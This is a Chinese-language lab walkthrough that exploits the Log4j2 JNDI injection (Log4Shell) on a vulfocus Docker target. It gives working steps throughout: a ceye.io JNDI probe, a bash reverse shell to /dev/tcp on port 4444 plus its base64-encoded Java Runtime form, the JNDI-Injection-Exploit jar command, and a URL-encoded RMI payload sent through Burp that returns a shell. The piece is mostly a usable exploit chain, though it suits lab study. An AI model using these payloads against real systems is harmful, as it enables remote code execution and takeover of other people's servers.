log4j2是log4j的升级版本,基于java的日志框架,在java项目中被大量的引用,当用户输入数据被记录于日志中,攻击者可通过构造特殊请求,造成JNDI注入,来触发log4j达到命令执行,JNID可访问的目录服务有lLDAP,JDBC,RMI,DNS,NIS,CORBA,JNDI是java提供的一个java命令和目录接口,可通过其调用定位资产和程序对象。
1.拉取镜像文件:
docker pull vulfocus/log4j2-rce-2021-12-09
2.开启环境,替换8080端口避免冲突:
docker run -tid -p 38080:8080 vulfocus/log4j2-rce-2021-12-09
3.访问地址:
使用ceye验证是否包含Log4j2 RCE 漏洞,${jndi:ldap://vakqyv.ceye.io} ,然后进行URL编码。
看到有回显
4.JNDI注入反弹shell
bash -i >& /dev/tcp/192.168.79.133/4444 0>&1
将此条命令进行Java Runtime Bash 编码:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzMy80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}
编码后的命令通过-C参数输入JNDI工具,通过通过-A参数指定kali的ip地址:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc5LjEzMy80NDQ0IDA+JjEK}|{base64,-d}|{bash,-i}" -A 192.168.79.133
5.监听4444端口
替换工具生成的payload:rmi://192.168.100.100:1099/kjauq 到Burpsuite:${jndi:rmi://192.168.79.133:1099/kjaukq}
URL编码后:%24%7Bjndi%3Armi%3A%2F%2F192.168.79.133%3A1099%2Fkjaukq%7D
发送
kali的监听窗口成功接收到反弹的shell
成功可以执行命令。